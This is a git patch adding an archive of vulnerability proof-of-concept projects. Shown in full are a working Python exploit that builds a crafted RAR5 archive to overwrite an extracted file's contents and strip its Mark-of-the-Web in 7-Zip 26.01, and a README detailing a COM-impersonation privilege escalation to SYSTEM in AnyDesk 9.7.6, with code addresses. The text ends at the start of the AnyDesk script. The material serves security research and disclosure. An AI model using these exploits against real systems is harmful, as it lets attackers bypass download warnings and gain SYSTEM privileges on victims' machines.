From b5d099261a48eb59c322b867b80cc0988d1623f4 Mon Sep 17 00:00:00 2001 From: ashton <63224111+bikini@users.noreply.github.com> Date: Tue, 23 Jun 2026 00:13:35 -0500 Subject: [PATCH] Add exploitarium archive --- .gitattributes | 5 + .gitignore | 2 + 7zip-rar5-motw-chain-poc/.gitignore | 5 + 7zip-rar5-motw-chain-poc/README.md | 91 +++++ 7zip-rar5-motw-chain-poc/poc.py | 231 +++++++++++ README.md | 26 ++ .../.gitignore | 11 + .../README.md | 109 ++++++ anydesk-printer-com-impersonation-poc/poc.py | 216 +++++++++++ .../requirements.txt | 1 + .../.gitattributes | 5 + .../.gitignore | 4 + .../README.md | 109 ++++++ docker-cp-copyout-destination-escape/poc.sh | 96 +++++ .../validation/2026-06-23-docker-29.6.0.txt | 44 +++ flowise-mcp-env-case-bypass-poc/.gitignore | 9 + flowise-mcp-env-case-bypass-poc/README.md | 108 ++++++ flowise-mcp-env-case-bypass-poc/poc.py | 101 +++++ ghidra-12.1.2-rce-ace-calc-poc/.gitignore | 6 + ghidra-12.1.2-rce-ace-calc-poc/README.md | 164 ++++++++ .../docs/classification.md | 33 ++ .../evidence/source-evidence.md | 40 ++ .../pocs/SevenZipReachabilityProbe.java | 47 +++ .../pocs/ace_swift_demangler_calc_poc.py | 87 +++++ .../pocs/calc_helper.py | 68 ++++ .../pocs/rce_tracermi_conditional_calc_poc.py | 136 +++++++ .../pocs/sevenzip_jbinding_reachability.py | 108 ++++++ .../.gitignore | 9 + .../LICENSE | 21 + .../README.md | 114 ++++++ gitea-act-runner-container-options-poc/poc.py | 157 ++++++++ imagemagick-gs-delegate-hijack-poc/.gitignore | 6 + imagemagick-gs-delegate-hijack-poc/README.md | 125 ++++++ .../helper/FakeGswin64c.cs | 13 + .../helper/gswin64c.exe.b64 | 1 + imagemagick-gs-delegate-hijack-poc/poc.py | 182 +++++++++ lunar-modrinth-chain-poc/.gitignore | 3 + lunar-modrinth-chain-poc/README.md | 172 +++++++++ .../evidence/local-lnk-proof.md | 37 ++ lunar-modrinth-chain-poc/package.json | 10 + lunar-modrinth-chain-poc/poc/calc-pop.js | 122 ++++++ .../poc/renderer-chain-skeleton.md | 42 ++ mybb-limited-acp-to-admin/.gitignore | 13 + mybb-limited-acp-to-admin/LICENSE | 21 + mybb-limited-acp-to-admin/README.md | 165 ++++++++ mybb-limited-acp-to-admin/SECURITY.md | 7 + .../poc/mybb_limited_acp_to_admin.py | 235 ++++++++++++ objdump-dlx-calc-poc/.gitattributes | 6 + objdump-dlx-calc-poc/.gitignore | 6 + objdump-dlx-calc-poc/P | 4 + objdump-dlx-calc-poc/README.md | 124 ++++++ objdump-dlx-calc-poc/dlx_chain_builder.py | 328 ++++++++++++++++ .../docs/aslr-bypass-analysis.md | 94 +++++ .../generate_objdump_dlx_calc_poc.py | 157 ++++++++ ...calc_aslr_orig_f05_bef210000_s7042e500.bin | Bin 0 -> 1280 bytes ...lc_aslr_orig_f05_bef210000_s7042e500.notes | 33 ++ ...calc_aslr_orig_f05_bef210000_s7043e4ff.bin | Bin 0 -> 1280 bytes ...lc_aslr_orig_f05_bef210000_s7043e4ff.notes | 33 ++ ...calc_aslr_orig_f05_bf020ff00_s7042e500.bin | Bin 0 -> 1280 bytes ...lc_aslr_orig_f05_bf020ff00_s7042e500.notes | 33 ++ ...calc_aslr_orig_f05_bf020ff00_s7043e4ff.bin | Bin 0 -> 1280 bytes ...lc_aslr_orig_f05_bf020ff00_s7043e4ff.notes | 33 ++ ...calc_aslr_orig_f06_bef210000_s7042e500.bin | Bin 0 -> 1280 bytes ...lc_aslr_orig_f06_bef210000_s7042e500.notes | 33 ++ ...calc_aslr_orig_f06_bef210000_s7043e4ff.bin | Bin 0 -> 1280 bytes ...lc_aslr_orig_f06_bef210000_s7043e4ff.notes | 33 ++ ...calc_aslr_orig_f06_bf020ff00_s7042e500.bin | Bin 0 -> 1280 bytes ...lc_aslr_orig_f06_bf020ff00_s7042e500.notes | 33 ++ ...calc_aslr_orig_f06_bf020ff00_s7043e4ff.bin | Bin 0 -> 1280 bytes ...lc_aslr_orig_f06_bf020ff00_s7043e4ff.notes | 33 ++ ...c_aslr_wsl2404_f05_b6f300000_s7042e500.bin | Bin 0 -> 1280 bytes ...aslr_wsl2404_f05_b6f300000_s7042e500.notes | 33 ++ ...c_aslr_wsl2404_f05_b6f300000_s7043e4ff.bin | Bin 0 -> 1280 bytes ...aslr_wsl2404_f05_b6f300000_s7043e4ff.notes | 33 ++ ...c_aslr_wsl2404_f05_b702fff00_s7042e500.bin | Bin 0 -> 1280 bytes ...aslr_wsl2404_f05_b702fff00_s7042e500.notes | 33 ++ ...c_aslr_wsl2404_f05_b702fff00_s7043e4ff.bin | Bin 0 -> 1280 bytes ...aslr_wsl2404_f05_b702fff00_s7043e4ff.notes | 33 ++ ...c_aslr_wsl2404_f06_b6f300000_s7042e500.bin | Bin 0 -> 1280 bytes ...aslr_wsl2404_f06_b6f300000_s7042e500.notes | 33 ++ ...c_aslr_wsl2404_f06_b6f300000_s7043e4ff.bin | Bin 0 -> 1280 bytes ...aslr_wsl2404_f06_b6f300000_s7043e4ff.notes | 33 ++ ...c_aslr_wsl2404_f06_b702fff00_s7042e500.bin | Bin 0 -> 1280 bytes ...aslr_wsl2404_f06_b702fff00_s7042e500.notes | 33 ++ ...c_aslr_wsl2404_f06_b702fff00_s7043e4ff.bin | Bin 0 -> 1280 bytes ...aslr_wsl2404_f06_b702fff00_s7043e4ff.notes | 33 ++ objdump-dlx-calc-poc/run_dlx_calc_poc.sh | 40 ++ .../tools/search_pointer_transform.py | 159 ++++++++ .../.gitignore | 8 + openvpn-connect-echo-script-ace-poc/README.md | 239 ++++++++++++ .../certs/ca.crt | 19 + .../certs/client.crt | 19 + .../certs/client.key | 27 ++ .../certs/server.crt | 19 + .../certs/server.key | 27 ++ openvpn-connect-echo-script-ace-poc/poc.py | 363 ++++++++++++++++++ vlc-vp9-reschange-crash-poc/.gitignore | 4 + vlc-vp9-reschange-crash-poc/README.md | 101 +++++ vlc-vp9-reschange-crash-poc/poc.py | 126 ++++++ 99 files changed, 5715 insertions(+) create mode 100644 .gitattributes create mode 100644 .gitignore create mode 100644 7zip-rar5-motw-chain-poc/.gitignore create mode 100644 7zip-rar5-motw-chain-poc/README.md create mode 100644 7zip-rar5-motw-chain-poc/poc.py create mode 100644 README.md create mode 100644 anydesk-printer-com-impersonation-poc/.gitignore create mode 100644 anydesk-printer-com-impersonation-poc/README.md create mode 100644 anydesk-printer-com-impersonation-poc/poc.py create mode 100644 anydesk-printer-com-impersonation-poc/requirements.txt create mode 100644 docker-cp-copyout-destination-escape/.gitattributes create mode 100644 docker-cp-copyout-destination-escape/.gitignore create mode 100644 docker-cp-copyout-destination-escape/README.md create mode 100644 docker-cp-copyout-destination-escape/poc.sh create mode 100644 docker-cp-copyout-destination-escape/validation/2026-06-23-docker-29.6.0.txt create mode 100644 flowise-mcp-env-case-bypass-poc/.gitignore create mode 100644 flowise-mcp-env-case-bypass-poc/README.md create mode 100644 flowise-mcp-env-case-bypass-poc/poc.py create mode 100644 ghidra-12.1.2-rce-ace-calc-poc/.gitignore create mode 100644 ghidra-12.1.2-rce-ace-calc-poc/README.md create mode 100644 ghidra-12.1.2-rce-ace-calc-poc/docs/classification.md create mode 100644 ghidra-12.1.2-rce-ace-calc-poc/evidence/source-evidence.md create mode 100644 ghidra-12.1.2-rce-ace-calc-poc/pocs/SevenZipReachabilityProbe.java create mode 100644 ghidra-12.1.2-rce-ace-calc-poc/pocs/ace_swift_demangler_calc_poc.py create mode 100644 ghidra-12.1.2-rce-ace-calc-poc/pocs/calc_helper.py create mode 100644 ghidra-12.1.2-rce-ace-calc-poc/pocs/rce_tracermi_conditional_calc_poc.py create mode 100644 ghidra-12.1.2-rce-ace-calc-poc/pocs/sevenzip_jbinding_reachability.py create mode 100644 gitea-act-runner-container-options-poc/.gitignore create mode 100644 gitea-act-runner-container-options-poc/LICENSE create mode 100644 gitea-act-runner-container-options-poc/README.md create mode 100644 gitea-act-runner-container-options-poc/poc.py create mode 100644 imagemagick-gs-delegate-hijack-poc/.gitignore create mode 100644 imagemagick-gs-delegate-hijack-poc/README.md create mode 100644 imagemagick-gs-delegate-hijack-poc/helper/FakeGswin64c.cs create mode 100644 imagemagick-gs-delegate-hijack-poc/helper/gswin64c.exe.b64 create mode 100644 imagemagick-gs-delegate-hijack-poc/poc.py create mode 100644 lunar-modrinth-chain-poc/.gitignore create mode 100644 lunar-modrinth-chain-poc/README.md create mode 100644 lunar-modrinth-chain-poc/evidence/local-lnk-proof.md create mode 100644 lunar-modrinth-chain-poc/package.json create mode 100644 lunar-modrinth-chain-poc/poc/calc-pop.js create mode 100644 lunar-modrinth-chain-poc/poc/renderer-chain-skeleton.md create mode 100644 mybb-limited-acp-to-admin/.gitignore create mode 100644 mybb-limited-acp-to-admin/LICENSE create mode 100644 mybb-limited-acp-to-admin/README.md create mode 100644 mybb-limited-acp-to-admin/SECURITY.md create mode 100644 mybb-limited-acp-to-admin/poc/mybb_limited_acp_to_admin.py create mode 100644 objdump-dlx-calc-poc/.gitattributes create mode 100644 objdump-dlx-calc-poc/.gitignore create mode 100755 objdump-dlx-calc-poc/P create mode 100644 objdump-dlx-calc-poc/README.md create mode 100644 objdump-dlx-calc-poc/dlx_chain_builder.py create mode 100644 objdump-dlx-calc-poc/docs/aslr-bypass-analysis.md create mode 100644 objdump-dlx-calc-poc/generate_objdump_dlx_calc_poc.py create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s7042e500.bin create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s7042e500.notes create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s7043e4ff.bin create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s7043e4ff.notes create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bf020ff00_s7042e500.bin create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bf020ff00_s7042e500.notes create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bf020ff00_s7043e4ff.bin create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bf020ff00_s7043e4ff.notes create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s7042e500.bin create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s7042e500.notes create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s7043e4ff.bin create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s7043e4ff.notes create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bf020ff00_s7042e500.bin create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bf020ff00_s7042e500.notes create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bf020ff00_s7043e4ff.bin create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bf020ff00_s7043e4ff.notes create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7042e500.bin create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7042e500.notes create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7043e4ff.bin create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7043e4ff.notes create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s7042e500.bin create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s7042e500.notes create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s7043e4ff.bin create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s7043e4ff.notes create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s7042e500.bin create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s7042e500.notes create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s7043e4ff.bin create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s7043e4ff.notes create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s7042e500.bin create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s7042e500.notes create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s7043e4ff.bin create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s7043e4ff.notes create mode 100755 objdump-dlx-calc-poc/run_dlx_calc_poc.sh create mode 100644 objdump-dlx-calc-poc/tools/search_pointer_transform.py create mode 100644 openvpn-connect-echo-script-ace-poc/.gitignore create mode 100644 openvpn-connect-echo-script-ace-poc/README.md create mode 100644 openvpn-connect-echo-script-ace-poc/certs/ca.crt create mode 100644 openvpn-connect-echo-script-ace-poc/certs/client.crt create mode 100644 openvpn-connect-echo-script-ace-poc/certs/client.key create mode 100644 openvpn-connect-echo-script-ace-poc/certs/server.crt create mode 100644 openvpn-connect-echo-script-ace-poc/certs/server.key create mode 100644 openvpn-connect-echo-script-ace-poc/poc.py create mode 100644 vlc-vp9-reschange-crash-poc/.gitignore create mode 100644 vlc-vp9-reschange-crash-poc/README.md create mode 100644 vlc-vp9-reschange-crash-poc/poc.py diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..cacefc6 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,5 @@ +* text=auto +.gitattributes text eol=lf +*.sh text eol=lf +*.md text eol=lf +*.txt text eol=lf diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..fafff2e --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +.DS_Store +Thumbs.db diff --git a/7zip-rar5-motw-chain-poc/.gitignore b/7zip-rar5-motw-chain-poc/.gitignore new file mode 100644 index 0000000..efabb47 --- /dev/null +++ b/7zip-rar5-motw-chain-poc/.gitignore @@ -0,0 +1,5 @@ +poc-run/ +__pycache__/ +*.pyc +.pytest_cache/ + diff --git a/7zip-rar5-motw-chain-poc/README.md b/7zip-rar5-motw-chain-poc/README.md new file mode 100644 index 0000000..a7c64d8 --- /dev/null +++ b/7zip-rar5-motw-chain-poc/README.md @@ -0,0 +1,91 @@ +# 7-Zip RAR5 MotW/ADS Full-Chain PoC + +This repository contains a self-contained Python proof-of-concept for a RAR5 alternate-stream handling issue in 7-Zip 26.01 on Windows. + +The crafted RAR5 archive contains one visible file entry and two RAR5 `STM` service records: + +- `invoice.docx::$DATA` changes the final visible bytes of the extracted file. +- `invoice.docx:Zone.Identifier:$DATA` changes the extracted file's Mark-of-the-Web stream. + +When the source archive has an Internet-zone `Zone.Identifier`, 7-Zip propagates that marker to the extracted file. The crafted stream name with a `:$DATA` suffix then writes to the same NTFS stream name as Windows resolves it on disk. The result is an extracted `invoice.docx` whose visible content and MotW stream are both controlled by archive data. + +## Tested Target + +- 7-Zip 26.01 x64 for Windows +- Windows NTFS destination +- Python 3.10+ + +## Run + +Use an installed 7-Zip: + +```powershell +python .\poc.py --sevenzip "C:\Program Files\7-Zip\7z.exe" +``` + +Or pass any 7-Zip 26.01 `7z.exe` path: + +```powershell +python .\poc.py --sevenzip "C:\path\to\7z.exe" --work-dir .\poc-run +``` + +Expected successful output: + +```text +[+] 7-Zip: 7-Zip 26.01 (x64) : Copyright (c) 1999-2026 Igor Pavlov : 2026-04-27 +[+] archive sha256: A962DDB7A0313545521C3250EB7E01EB275F50C83DBC0466FFC94011FB4A0800 +[+] final visible content: ATTACKER final visible bytes from ::$DATA stream\r\n +[+] final Zone.Identifier: [ZoneTransfer]\r\nZoneId=0\r\n +[+] VULNERABLE: full chain verified +``` + +## What The PoC Verifies + +The script performs the full chain: + +1. Builds a minimal RAR5 archive in Python. +2. Adds a normal `invoice.docx` file entry with benign-looking bytes. +3. Adds a RAR5 `STM` stream named `::$DATA` with attacker-controlled final file bytes. +4. Adds a RAR5 `STM` stream named `:Zone.Identifier:$DATA` with attacker-controlled MotW bytes. +5. Marks the source archive itself as Internet-zone with `ZoneId=3`. +6. Extracts with 7-Zip using zone propagation. +7. Checks that the extracted `invoice.docx` contains the `::$DATA` payload. +8. Checks that `invoice.docx:Zone.Identifier` contains `ZoneId=0`. + +## Why It Works + +7-Zip has special handling for `Zone.Identifier` propagation. It recognizes and suppresses an exact archive-provided `Zone.Identifier` alternate stream while applying the source archive's Internet-zone marker to the extracted file. + +The crafted stream name uses a Windows stream type suffix: + +```text +Zone.Identifier:$DATA +``` + +7-Zip's guard treats that as a different stream name, but NTFS resolves: + +```text +file:Zone.Identifier +file:Zone.Identifier:$DATA +``` + +to the same alternate data stream. The archive-provided stream therefore replaces the propagated marker. + +The same stream suffix behavior is used with: + +```text +::$DATA +``` + +which targets the unnamed/default NTFS data stream of the extracted file. That is why the final visible file bytes differ from the benign main file entry. + +## Files Written + +The PoC writes only inside the selected work directory: + +- `rar5-content-and-motw-chain.rar` +- `out\invoice.docx` +- NTFS alternate streams attached to those files + +The default work directory is `.\poc-run`. + diff --git a/7zip-rar5-motw-chain-poc/poc.py b/7zip-rar5-motw-chain-poc/poc.py new file mode 100644 index 0000000..f9af06e --- /dev/null +++ b/7zip-rar5-motw-chain-poc/poc.py @@ -0,0 +1,231 @@ +from __future__ import annotations + +import argparse +import binascii +import hashlib +import os +import shutil +import struct +import subprocess +import sys +from pathlib import Path + + +MARKER = b"Rar!\x1a\x07\x01\x00" + +HFL_EXTRA = 1 << 0 +HFL_DATA = 1 << 1 + +HT_ARC = 1 +HT_FILE = 2 +HT_SERVICE = 3 +HT_END = 5 + +EXTRA_SUBDATA = 7 +HOST_WINDOWS = 0 +ATTR_ARCHIVE = 0x20 + +MAIN_NAME = "invoice.docx" +MAIN_BYTES = b"BENIGN preview bytes from main RAR5 file\r\n" +FINAL_BYTES = b"ATTACKER final visible bytes from ::$DATA stream\r\n" +FINAL_ZONE = b"[ZoneTransfer]\r\nZoneId=0\r\n" +SOURCE_ZONE = b"[ZoneTransfer]\r\nZoneId=3\r\n" + + +def vint(value: int) -> bytes: + if value < 0: + raise ValueError("negative vint") + out = bytearray() + while True: + b = value & 0x7F + value >>= 7 + if value: + out.append(b | 0x80) + else: + out.append(b) + return bytes(out) + + +def block(header_type: int, header_flags: int, body: bytes, *, extra: bytes = b"", data: bytes = b"") -> bytes: + fields = bytearray() + fields += vint(header_type) + flags = header_flags + if extra: + flags |= HFL_EXTRA + if data: + flags |= HFL_DATA + fields += vint(flags) + if extra: + fields += vint(len(extra)) + if data: + fields += vint(len(data)) + fields += body + fields += extra + + size = vint(len(fields)) + crc_data = size + fields + crc = binascii.crc32(crc_data) & 0xFFFFFFFF + return struct.pack(" bytes: + name_bytes = (record_name if record_name is not None else name).encode("utf-8") + body = bytearray() + body += vint(0) + body += vint(len(data)) + body += vint(ATTR_ARCHIVE) + body += vint(method) + body += vint(HOST_WINDOWS) + body += vint(len(name_bytes)) + body += name_bytes + return bytes(body) + + +def subdata_extra(stream_name: str) -> bytes: + data = stream_name.encode("utf-8") + rec = vint(EXTRA_SUBDATA) + data + return vint(len(rec)) + rec + + +def service_stream(parent_name: str, stream_name: str, payload: bytes) -> bytes: + return block( + HT_SERVICE, + 0, + file_body(parent_name, payload, record_name="STM"), + extra=subdata_extra(stream_name), + data=payload, + ) + + +def build_archive() -> bytes: + out = bytearray(MARKER) + out += block(HT_ARC, 0, vint(0)) + out += block(HT_FILE, 0, file_body(MAIN_NAME, MAIN_BYTES), data=MAIN_BYTES) + out += service_stream(MAIN_NAME, "::$DATA", FINAL_BYTES) + out += service_stream(MAIN_NAME, ":Zone.Identifier:$DATA", FINAL_ZONE) + out += block(HT_END, 0, vint(0)) + return bytes(out) + + +def sha256(path: Path) -> str: + h = hashlib.sha256() + with path.open("rb") as f: + for chunk in iter(lambda: f.read(1024 * 1024), b""): + h.update(chunk) + return h.hexdigest().upper() + + +def find_7z(explicit: str | None) -> Path: + candidates: list[str] = [] + if explicit: + candidates.append(explicit) + found = shutil.which("7z") + if found: + candidates.append(found) + candidates.append(r"C:\Program Files\7-Zip\7z.exe") + candidates.append(r"C:\Program Files (x86)\7-Zip\7z.exe") + + for candidate in candidates: + path = Path(candidate) + if path.is_file(): + return path + raise SystemExit("7z.exe not found. Pass --sevenzip C:\\path\\to\\7z.exe") + + +def run_7z(sevenzip: Path, *args: str) -> str: + proc = subprocess.run( + [str(sevenzip), *args], + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + errors="replace", + check=False, + ) + if proc.returncode != 0: + raise RuntimeError(f"7-Zip failed with exit code {proc.returncode}\n{proc.stdout}") + return proc.stdout + + +def read_ads(path: Path, stream_name: str) -> bytes: + with open(str(path) + ":" + stream_name, "rb") as f: + return f.read() + + +def write_ads(path: Path, stream_name: str, data: bytes) -> None: + with open(str(path) + ":" + stream_name, "wb") as f: + f.write(data) + + +def printable(data: bytes) -> str: + return data.decode("utf-8", errors="replace").replace("\r", "\\r").replace("\n", "\\n") + + +def main() -> int: + parser = argparse.ArgumentParser(description="Verify the 7-Zip RAR5 STM MotW/ADS full chain.") + parser.add_argument("--sevenzip", help="Path to 7z.exe. Defaults to PATH or Program Files.") + parser.add_argument("--work-dir", default="poc-run", help="Directory for generated files.") + args = parser.parse_args() + + if os.name != "nt": + raise SystemExit("This PoC uses Windows NTFS alternate data streams.") + + sevenzip = find_7z(args.sevenzip) + work_dir = Path(args.work_dir).resolve() + if work_dir.exists(): + shutil.rmtree(work_dir) + work_dir.mkdir(parents=True) + + archive_path = work_dir / "rar5-content-and-motw-chain.rar" + archive_path.write_bytes(build_archive()) + write_ads(archive_path, "Zone.Identifier", SOURCE_ZONE) + + version = run_7z(sevenzip).splitlines()[1].strip() + listing = run_7z(sevenzip, "l", "-slt", "-sns", str(archive_path)) + output_dir = work_dir / "out" + output_dir.mkdir() + extraction = run_7z(sevenzip, "x", "-y", "-snz1", f"-o{output_dir}", str(archive_path)) + + final_path = output_dir / MAIN_NAME + final_content = final_path.read_bytes() + final_zone = read_ads(final_path, "Zone.Identifier") + + if final_content != FINAL_BYTES: + raise AssertionError(f"Final visible content mismatch: {printable(final_content)}") + if final_zone != FINAL_ZONE: + raise AssertionError(f"Final Zone.Identifier mismatch: {printable(final_zone)}") + + listed_rows = [ + line + for line in listing.splitlines() + if line in { + "Path = invoice.docx", + "Path = invoice.docx::$DATA", + "Path = invoice.docx:Zone.Identifier:$DATA", + "Alternate Stream = -", + "Alternate Stream = +", + } + or line.startswith("Size = ") + ] + extracted_rows = [ + line + for line in extraction.splitlines() + if "Everything is Ok" in line or line.startswith("Files:") or line.startswith("Alternate Streams") + ] + + print(f"[+] 7-Zip: {version}") + print(f"[+] archive: {archive_path}") + print(f"[+] archive sha256: {sha256(archive_path)}") + print("[+] listing evidence:") + for row in listed_rows: + print(f" {row}") + print("[+] extraction evidence:") + for row in extracted_rows: + print(f" {row}") + print(f"[+] final visible content: {printable(final_content)}") + print(f"[+] final Zone.Identifier: {printable(final_zone)}") + print("[+] VULNERABLE: full chain verified") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/README.md b/README.md new file mode 100644 index 0000000..447fda3 --- /dev/null +++ b/README.md @@ -0,0 +1,26 @@ +# Exploitarium + +A single index repo for my public proof-of-concept and vulnerability research writeups. + +Each folder is a snapshot of the original standalone repository, kept with its own README and files intact. The original repositories are still available separately on GitHub. + +## Contents + +| Folder | Original repo | +| --- | --- | +| `7zip-rar5-motw-chain-poc` | | +| `anydesk-printer-com-impersonation-poc` | | +| `docker-cp-copyout-destination-escape` | | +| `flowise-mcp-env-case-bypass-poc` | | +| `ghidra-12.1.2-rce-ace-calc-poc` | | +| `gitea-act-runner-container-options-poc` | | +| `imagemagick-gs-delegate-hijack-poc` | | +| `lunar-modrinth-chain-poc` | | +| `mybb-limited-acp-to-admin` | | +| `objdump-dlx-calc-poc` | | +| `openvpn-connect-echo-script-ace-poc` | | +| `vlc-vp9-reschange-crash-poc` | | + +## Notes + +This repository is an archive and index. For the most accurate context on a specific PoC, read the README inside that PoC's folder. diff --git a/anydesk-printer-com-impersonation-poc/.gitignore b/anydesk-printer-com-impersonation-poc/.gitignore new file mode 100644 index 0000000..feeafe0 --- /dev/null +++ b/anydesk-printer-com-impersonation-poc/.gitignore @@ -0,0 +1,11 @@ +__pycache__/ +*.pyc +.venv/ +venv/ +*.log +*.dmp +*.exe +*.dll +*.bin +dist/ +build/ diff --git a/anydesk-printer-com-impersonation-poc/README.md b/anydesk-printer-com-impersonation-poc/README.md new file mode 100644 index 0000000..c1d825e --- /dev/null +++ b/anydesk-printer-com-impersonation-poc/README.md @@ -0,0 +1,109 @@ +# AnyDesk 9.7.6 Printer Pipe COM Impersonation PoC + +This repository documents and validates a local privilege-escalation primitive identified in AnyDesk for Windows 9.7.6. + +The issue is in the local printer IPC path. The service-side printer worker creates `\\.\pipe\adprinterpipe`, accepts a message containing attacker-controlled COM marshaling bytes, unmarshals an `IUnknown`, queries `IStream`, and calls `IStream::Read`. Because the process initializes COM with impersonation level `RPC_C_IMP_LEVEL_IMPERSONATE`, the attacker-controlled COM object can impersonate the AnyDesk process during the callback. + +## Affected Target + +- Product: AnyDesk for Windows +- Version analyzed: 9.7.6 +- Release date observed from vendor changelog: 2026-06-15 +- Official download sample SHA256: `d83236fad1405ff369f16ad12b684a30177fe81c47c1f824f9fea6b74d64cc4a` +- Runtime payload architecture: 32-bit Windows PE + +## Impact + +When AnyDesk is installed as a Windows service, the service install path uses `CreateServiceW` with `lpServiceStartName = NULL`, so Windows runs the service as LocalSystem by default. A low-privileged local user that reaches the printer pipe can provide a marshaled `IStream` and receive a COM callback from the AnyDesk process. During that callback, COM impersonation allows the attacker-side object to impersonate the caller. + +The practical impact is local privilege escalation from a low-privileged local user to the AnyDesk service identity. In the default installed-service case, that identity is `NT AUTHORITY\SYSTEM`. + +## Evidence Summary + +The following locations were identified in the reconstructed 9.7.6 runtime image: + +| Area | Evidence | +| --- | --- | +| Pipe creation | `FUN_0100f190` creates `\\.\pipe\adprinterpipe` with `CreateNamedPipeW` | +| Pipe ACL | `0x100f206-0x100f229` builds `S-1-1-0`; `0x100f37b-0x100f38a` grants `GENERIC_ALL` | +| Pipe worker | `FUN_0100ed60` starts the worker and dispatches reads | +| Read boundary | `FUN_0100e9f0` reads up to `0x1000` bytes from the pipe | +| COM unmarshaling | `FUN_0100e6e0` copies attacker bytes to an `HGLOBAL`, calls `CreateStreamOnHGlobal`, then `CoUnmarshalInterface` | +| Interface callback | `FUN_0100e6e0` queries `IID_IStream`; `FUN_0100e520` calls `IStream::Read` | +| COM security | `0xf71fef-0xf72005` calls `CoInitializeSecurity` with impersonation level `3` | +| Service identity | `0xf6799e` calls `CreateServiceW` with a null service account argument | + +## PoC Design + +`poc.py` contains two validation paths: + +- `analyze`: static marker check against an AnyDesk runtime PE. +- `selftest`: local two-process harness that reproduces the same COM flow: pipe message, `CoUnmarshalInterface(IUnknown)`, `QueryInterface(IStream)`, and `IStream::Read`. + +The self-test prints the identity impersonated by the attacker-controlled `IStream::Read` implementation. This validates the COM impersonation primitive without modifying AnyDesk or launching elevated commands. + +## Requirements + +- Python 3.10 or newer +- Windows for `selftest` +- `pywin32` for COM and named-pipe APIs + +Install dependencies: + +```powershell +python -m pip install -r requirements.txt +``` + +## Usage + +Run the local COM impersonation self-test: + +```powershell +python poc.py selftest +``` + +Expected output shape: + +```text +[attacker] +PROBE_IMPERSONATED=DOMAIN\User +[victim] +VICTIM_READ_COMPLETE +``` + +Run static marker analysis against a local AnyDesk runtime PE: + +```powershell +python poc.py analyze path\to\AnyDesk-runtime.exe +``` + +Expected output shape: + +```json +{ + "markers": { + "pipe_name_utf16": true, + "iid_iunknown": true, + "iid_istream": true, + "co_unmarshal_import": true + } +} +``` + +## Root Cause + +The IPC boundary trusts a pipe client enough to supply marshaled COM object data. COM unmarshaling can create a proxy to an attacker-controlled local COM server. Any method call on that proxy crosses back into attacker-controlled code. Since the AnyDesk process configures COM with impersonation enabled, the server side of that callback can impersonate the AnyDesk caller. + +The pipe ACL expands the local attack surface by allowing `Everyone` access. The service identity then raises the impact because the installed service runs as LocalSystem by default. + +## Fix Direction + +- Do not accept marshaled COM interfaces from low-privileged pipe clients. +- Replace the marshaled `IStream` handoff with a byte-oriented protocol owned by the service. +- Restrict the pipe DACL to the exact intended service/user SID set. +- If COM must remain, use a lower impersonation level and enforce caller identity checks before unmarshaling or invoking attacker-provided interfaces. +- Add regression tests for pipe DACLs and COM security settings. + +## Validation Status + +The COM impersonation primitive is validated by the included harness. Static analysis ties the same primitive to the AnyDesk 9.7.6 printer pipe path. A live installed-service VM should be used for final vendor-grade confirmation of the `NT AUTHORITY\SYSTEM` identity in the real service context. diff --git a/anydesk-printer-com-impersonation-poc/poc.py b/anydesk-printer-com-impersonation-poc/poc.py new file mode 100644 index 0000000..b513c75 --- /dev/null +++ b/anydesk-printer-com-impersonation-poc/poc.py 